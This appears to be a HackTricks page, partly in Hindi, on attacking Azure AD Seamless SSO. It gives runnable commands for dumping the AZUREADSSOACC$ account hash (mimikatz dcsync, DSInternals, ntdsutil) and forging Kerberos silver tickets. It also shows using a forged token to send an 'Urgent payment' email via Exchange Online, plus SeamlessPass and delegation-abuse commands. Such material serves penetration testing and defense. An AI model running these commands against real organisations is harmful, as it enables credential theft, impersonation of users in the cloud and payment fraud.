Az - Seamless SSO

Support HackTricks

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से उपयोगकर्ताओं को साइन इन करता है जब वे अपने कॉर्पोरेट नेटवर्क से जुड़े कॉर्पोरेट उपकरणों पर होते हैं। जब सक्षम किया जाता है, उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है, और आमतौर पर, अपने उपयोगकर्ता नाम भी टाइप करने की आवश्यकता नहीं होती है। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।

बुनियादी रूप से Azure AD Seamless SSO उपयोगकर्ताओं को साइन इन करता है जब वे एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं

यह PHS (Password Hash Sync) और PTA (Pass-through Authentication) दोनों द्वारा समर्थित है।

डेस्कटॉप SSO प्रमाणीकरण के लिए Kerberos का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक कंप्यूटर खाता बनाता है जिसे AZUREADSSOACC$ कहा जाता है ऑन-प्रिम AD में। AZUREADSSOACC$ खाते का पासवर्ड कॉन्फ़िगरेशन के दौरान Azure AD को स्पष्ट पाठ के रूप में भेजा जाता है

Kerberos टिकट पासवर्ड के NTHash (MD4) का उपयोग करके एन्क्रिप्ट किए जाते हैं और Azure AD भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।

Azure AD एक एंडपॉइंट (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos टिकटों को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।

On-prem -> cloud

उपयोगकर्ता का पासवर्ड AZUREADSSOACC$ कभी नहीं बदलता। इसलिए, एक डोमेन प्रशासक इस खाते के हैश को समझौता कर सकता है, और फिर इसका उपयोग सिल्वर टिकट बनाने के लिए Azure से किसी भी ऑन-प्रिम उपयोगकर्ता को सिंक करने के लिए कर सकता है:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

आप अब हैश के साथ सिल्वर टिकट्स उत्पन्न कर सकते हैं:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

To utilize the silver ticket, the following steps should be executed:

  1. Initiate the Browser: Mozilla Firefox should be launched.

  2. Configure the Browser:

  1. Access the Web Application:

  • Visit a web application that is integrated with the organization's AAD domain. A common example is Office 365.

  1. Authentication Process:

  • At the logon screen, the username should be entered, leaving the password field blank.

  • To proceed, press either TAB or ENTER.

यह MFA को बायपास नहीं करता है यदि सक्षम है

Option 2 without dcsync - SeamlessPass

It's also possible to perform this attack without a dcsync attack to be more stealth as explained in this blog post. For that you only need one of the following:

  • A compromised user's TGT: Even if you don't have one but the user was compromised, you can get one using fake TGT delegation trick implemented in many tools such as Kekeo and Rubeus.

  • Golden Ticket: If you have the KRBTGT key, you can create the TGT you need for the attacked user.

  • A compromised user’s NTLM hash or AES key: SeamlessPass will communicate with the domain controller with this information to generate the TGT

  • AZUREADSSOACC$ account NTLM hash or AES key: With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).

Finally, with the TGT it's possible to use the tool SeamlessPass with:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Firefox को seamless SSO के साथ काम करने के लिए सेट करने की अतिरिक्त जानकारी इस ब्लॉग पोस्ट में मिल सकती है।

क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना

यदि Active Directory प्रशासकों के पास Azure AD Connect तक पहुंच है, तो वे किसी भी क्लाउड-उपयोगकर्ता के लिए SID सेट कर सकते हैं। इस तरह Kerberos टिकट क्लाउड-केवल उपयोगकर्ताओं के लिए भी बनाए जा सकते हैं। एकमात्र आवश्यकता यह है कि SID एक उचित SID हो।

क्लाउड-केवल प्रशासक उपयोगकर्ताओं का SID अब Microsoft द्वारा अवरुद्ध है। जानकारी के लिए देखें https://aadinternals.com/post/on-prem_admin/

ऑन-प्रेम -> क्लाउड रिसोर्स आधारित सीमित प्रतिनिधित्व के माध्यम से

कोई भी जो इस खाते में कंटेनर या OU में कंप्यूटर खातों (AZUREADSSOACC$) का प्रबंधन कर सकता है, वह खाते पर संसाधन आधारित सीमित प्रतिनिधित्व को कॉन्फ़िगर कर सकता है और इसे एक्सेस कर सकता है

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

References

HackTricks का समर्थन करें

Last updated